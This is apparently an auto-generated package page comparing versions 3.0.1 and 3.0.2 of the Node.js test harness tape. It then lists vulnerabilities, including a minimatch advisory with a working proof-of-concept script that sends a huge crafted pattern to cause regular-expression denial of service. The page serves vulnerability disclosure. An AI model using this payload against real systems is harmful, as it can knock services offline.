Tape, a tap-producing test harness for Node.js and browsers, underwent a minor version update from 3.0.1 to 3.0.2 in late 2014. Examining the package data reveals that the core dependencies remained consistent between the two versions. Both versions rely on the same core dependencies like glob, defined, resumer, through, inherits, deep-equal, and object-inspect, suggesting that the underlying testing logic and core functionalities were unchanged. The development dependencies (tap, falafel, concat-stream) also remain identical, indicating no significant alterations in the testing or build processes.
The primary difference lies in the release date, with version 3.0.2 being published on November 5, 2014, roughly two weeks after version 3.0.1, released on October 17, 2014. Although the data doesn't specify the exact changes implemented, the quick succession suggests that version 3.0.2 likely includes bug fixes, minor enhancements, or dependency updates without introducing breaking changes. For developers, this implies a stable and reliable testing environment whether they choose version 3.0.1 or upgrade to 3.0.2. Considering the nearly identical dependency structure and functionality, migrating to version 3.0.2 should be seamless and provide the latest refinements on the existing features. Always refer to the official tape github repository for exact changes.
All the vulnerabilities related to the version 3.0.2 of the package
Regular Expression Denial of Service in minimatch
Affected versions of minimatch
are vulnerable to regular expression denial of service attacks when user input is passed into the pattern
argument of minimatch(path, pattern)
.
var minimatch = require(“minimatch”);
// utility function for generating long strings
var genstr = function (len, chr) {
var result = “”;
for (i=0; i<=len; i++) {
result = result + chr;
}
return result;
}
var exploit = “[!” + genstr(1000000, “\\”) + “A”;
// minimatch exploit.
console.log(“starting minimatch”);
minimatch(“foo”, exploit);
console.log(“finishing minimatch”);
Update to version 3.0.2 or later.
minimatch ReDoS vulnerability
A vulnerability was found in the minimatch package. This flaw allows a Regular Expression Denial of Service (ReDoS) when calling the braceExpand function with specific arguments, resulting in a Denial of Service.